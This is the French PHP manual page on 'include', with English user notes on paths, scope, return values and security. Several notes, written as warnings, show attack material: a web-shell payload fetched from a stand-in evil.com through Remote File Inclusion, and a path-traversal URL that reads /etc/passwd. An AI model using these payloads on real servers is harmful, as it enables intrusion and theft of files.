include

(PHP 4, PHP 5, PHP 7, PHP 8)

L'expression de langage include inclut et exécute le fichier spécifié en argument.

Cette documentation s'applique aussi à l'instruction de langage require.

Les fichiers sont inclus suivant le chemin du fichier fourni ; si aucun n'est fourni, l'include_path sera vérifié. Si le fichier n'est pas trouvé dans l' include_path, include vérifiera dans le dossier du script appelant et dans le dossier de travail courant avant d'échouer. L'instruction include émettra E_WARNING si elle ne peut trouver le fichier; ce comportement est différent de require, qui émettra E_ERROR.

Notez que include et require vont lancer des erreurs de type E_WARNING, si le fichier n'est pas accessible, avant de lancer une erreur de type E_WARNING ou E_ERROR, respectivement.

Si un chemin est défini, absolu (commençant par une lettre de lecteur suivie de \ pour Windows, ou / pour Unix/Linux) ou relatif (commençant par . ou ..), l'include_path sera ignoré. Par exemple, si un nom de fichier commence par ../, PHP cherchera dans le dossier parent pour y trouver le fichier spécifié.

Pour plus d'informations sur la façon dont PHP gère les fichiers inclus ainsi que le chemin d'inclusion, reportez-vous à la documentation relative à l'include_path.

Lorsqu'un fichier est inclus, le code le composant hérite de la portée des variables de la ligne où l'inclusion apparaît. Toutes les variables disponibles à cette ligne dans le fichier appelant seront disponibles dans le fichier appelé, à partir de ce point. Cependant, toutes les fonctions et classes définies dans le fichier inclus ont une portée globale.

Exemple #1 Exemple avec include

vars.php
<?php

$couleur
= 'verte';
$fruit = 'pomme';

?>

test.php
<?php

echo "Une $fruit $couleur"; // Une

include 'vars.php';

echo
"Une $fruit $couleur"; // Une pomme verte

?>

Si l'inclusion intervient à l'intérieur d'une fonction, le code inclus sera alors considéré comme faisant partie de la fonction. Cela modifie donc le contexte de variables accessibles. Une exception à cette règle : les constantes magiques sont analysées par l'analyseur avant que l'inclusion n'intervienne.

Exemple #2 Inclusion de fichiers dans une fonction

<?php

function foo()
{
global
$couleur;

include
'vars.php';

echo
"Une $fruit $couleur";
}

/* vars.php est dans le contexte de foo() *
* donc $fruit n'est pas disponible hors de *
* cette fonction. $couleur l'est, car c'est *
* une variable globale */

foo(); // Une pomme verte
echo "Une $fruit $couleur"; // Une verte

?>

Il est important de noter que lorsqu'un fichier est include ou require, les erreurs d'analyse apparaîtront en HTML tout au début du fichier, et l'analyse du fichier parent ne sera pas interrompue. Pour cette raison, le code qui est dans le fichier doit être placé entre les balises habituelles de PHP.

Si les gestionnaires d'inclusion d'URL sont activés dans PHP, vous pouvez localiser le fichier avec une URL (via HTTP ou bien avec un gestionnaire adapté : voir Liste des protocoles et des gestionnaires supportés pour une liste des protocoles), au lieu d'un simple chemin local. Si le serveur distant interprète le fichier comme du code PHP, des variables peuvent être transmises au serveur distant via l'URL et la méthode GET. Ce n'est pas, à strictement parler, la même chose que d'hériter du contexte de variable. Le fichier inclus est en fait un script exécuté à distance, et son résultat est inclus dans le code courant.

Exemple #3 Utiliser l'instruction include via HTTP

<?php

/* Cet exemple suppose que www.example.com est configuré pour traiter
* les fichiers .php et non pas les fichiers .txt. De plus,
* 'Work' signifie ici que les variables
* $foo et $bar sont disponibles dans le fichier inclus
*/

// Ne fonctionne pas : file.txt n'a pas été traité par www.example.com comme du PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Ne fonctionne pas : le script cherche un fichier nommé
// 'file.php?foo=1&bar=2' sur le système local
include 'file.php?foo=1&bar=2';

// Réussi
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

Avertissement

Alerte de sécurité

Un fichier distant peut être traité sur le serveur distant (dépendamment de l'extension du fichier et si le serveur distant exécute PHP ou non) mais il doit toujours produire un script PHP valide parce qu'il sera traité sur le serveur local. Si le fichier du serveur distant doit être traité sur place et affiché seulement, readfile() est une fonction beaucoup plus appropriée. Autrement, vous devriez bien faire attention à sécuriser le script distant afin qu'il produise un code valide et désiré.

Voir aussi travailler avec les fichiers distants, fopen() et file() pour des informations relatives.

Gestion du retour : include retourne false en cas d'erreur et émet un avertissement. Les inclusions avec succès, y compris si elles sont écrasées par le fichier inclus, retourne 1. Il est possible d'exécuter la structure de langage return à l'intérieur d'un fichier inclus afin de déterminer le processus dans ce fichier, et retourner au script qui l'a appelé. De plus, il est possible de retourner des valeurs depuis des fichiers inclus. Vous pouvez prendre la valeur depuis l'appel au fichier inclus comme vous le souhaitez depuis une fonction normale. Ce n'est cependant pas possible lors de l'inclusion de fichiers distants, et ce, tant que la sortie du fichier distant n'a pas de balises PHP de début et de fin valides (tout comme pour les fichiers locaux). Vous pouvez déclarer les variables nécessaires à l'intérieur de ces balises et elles seront introduites à l'endroit où le fichier a été inclus.

Comme include est une structure de langage particulière, les parenthèses ne sont pas nécessaires autour de l'argument. Faites attention lorsque vous comparez la valeur retournée.

Exemple #4 Comparaison de la valeur de retour d'une inclusion

<?php
// Ne fonctionne pas, évalué comme include(('vars.php') == TRUE), i.e. include('1')
if (include('vars.php') == TRUE) {
echo
'OK';
}

// Fonctionne
if ((include 'vars.php') == TRUE) {
echo
'OK';
}
?>

Exemple #5 include et return

return.php
<?php

$var
= 'PHP';

return
$var;

?>

noreturn.php
<?php

$var
= 'PHP';

?>

testreturns.php
<?php

$foo
= include 'return.php';

echo
$foo; // affiche 'PHP'

$bar = include 'noreturn.php';

echo
$bar; // affiche 1

?>

$bar a la valeur de 1 car l'inclusion était réussie. Notez la différence entre les deux exemples ci-dessus. Le premier utilise la commande return dans le fichier inclus, alors que le second ne le fait pas. Si le fichier ne peut être inclus, false est retourné et une erreur de niveau E_WARNING est envoyée.

S'il y a des fonctions définies dans le fichier inclus, elles peuvent être utilisées dans le fichier principal si elles sont avant le return ou après. Si le fichier est inclus deux fois, PHP émettra une erreur fatale car les fonctions ont déjà été déclarées. Il est recommandé d'utiliser include_once au lieu de vérifier si le fichier a déjà été inclus et donc de retourner conditionnellement l'inclusion du fichier.

Une autre façon d'inclure un fichier PHP dans une variable est de capturer la sortie en utilisant les fonctions de contrôle de sortie avec include. Par exemple :

Exemple #6 Utilisation de la sortie du buffer pour inclure un fichier PHP dans une chaîne

<?php
$string
= get_include_contents('somefile.php');

function
get_include_contents($filename) {
if (
is_file($filename)) {
ob_start();
include
$filename;
return
ob_get_clean();
}
return
false;
}

?>

Pour automatiquement inclure des fichiers dans vos scripts, voyez également les options de configuration auto_prepend_file et auto_append_file du php.ini.

Note: Comme ceci est une structure du langage, et non pas une fonction, il n'est pas possible de l'appeler avec les fonctions variables ou arguments nommés.

Voir aussi require, require_once, include_once, get_included_files(), readfile(), virtual(), et include_path.

add a note add a note

User Contributed Notes 21 notes

up
131
snowyurik at gmail dot com
15 years ago
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
up
41
Rash
9 years ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.php
define('what', 'ever');
include
'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
up
24
John Carty
7 years ago
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include
$path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.
up
25
Anon
12 years ago
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
up
8
error17191 at gmail dot com
8 years ago
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?php

echo 'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'Changing current working directory to dir2';
chdir('../dir2');
echo
'<br />';
echo
'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'including "dir2_test" ...';
echo
'<br />';
include
'dir2_test';
echo
'<br />';
echo
'including "dir1_test" ...';
echo
'<br />';
include
'dir1_test';
echo
'<br />';
echo
'including "./dir1_test" ...';
echo
'<br />';
(@include
'./dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
up
8
Wade.
15 years ago
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
up
9
Rick Garcia
15 years ago
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
up
0
jbezorg at gmail dot com
5 years ago
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
up
0
Ray.Paseur often uses Gmail
9 years ago
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once(
$cfg_path);
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0
sPlayer
13 years ago
Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
up
0
Chris Bell
14 years ago
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
up
-2
joe dot naylor at gmail dot com
13 years ago
Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page
= $_GET['page'];
if (
file_exists('pages/'.$page.'.php'))
{
   include(
'pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.
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-2
hyponiq at gmail dot com
14 years ago
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot
= null;

if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
   
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
   
    if (
strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (
strstr($documentRoot, '/')) {
           
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (
strstr($documentRoot, '\\')) {
           
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }
   
    if (
preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
       
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
       
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
   
/**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
   
$directories = array(
       
'Includes'
   
);
   
    if (
defined('__DIR__')) {
       
$currentDirectory = __DIR__;
    }
    else {
       
$currentDirectory = dirname(__FILE__);
    }
   
   
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
   
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
   
    foreach (
$directories as $directory) {
       
$currentDirectory = str_replace(
           
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
           
DIRECTORY_SEPARATOR,
           
$currentDirectory
       
);
    }
   
   
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
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-3
ayon at hyurl dot com
6 years ago
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo
file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
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-5
durkboek A_T hotmail D_O_T com
19 years ago
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach(
$output as $line) {
echo
$line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
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-6
mbread at m-bread dot com
17 years ago
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
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-6
example at user dot com
15 years ago
Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header
('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include
'/some_image.jpg';
echo
'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
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-12
uramihsayibok, gmail, com
16 years ago
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (
glob($pattern) as $file) { // remember the { and } are necessary!
       
include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
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-14
abanarn at gmail dot com
9 years ago
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:\element\scripts\include.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:\element\scripts\include.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lement\scripts\include.php): failed to open stream: In
valid argument in C:\element\scripts\include.php on line 20

Fatal error: require(): Failed opening required 'C:←lement\scripts\include.php

Solution:
-----------
Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,
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-11
Jero Minh
8 years ago
Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.

Consider the following:
<?php
    ini_set
('error_reporting', E_ALL);

    echo
"Own value before: ";
    echo
ini_get('error_reporting');
    echo
"\r\n";

    echo
"include foo.php: ";
    include(
'foo.php');

    echo
"@include foo.php: ";
    @include(
'foo.php');

    echo
"Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
   
echo ini_get('error_reporting') . "\r\n";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767
up
-10
james at gogo dot co dot nz
20 years ago
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
 
function &x(&$y)
  {
    return include(
dirname(__FILE__) . '/2.php');
  }

 
$z = "FOO\n";
 
$z2 = &x($z);

  echo
$z2;
 
$z  = "NOO\n";
 
  echo
$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/
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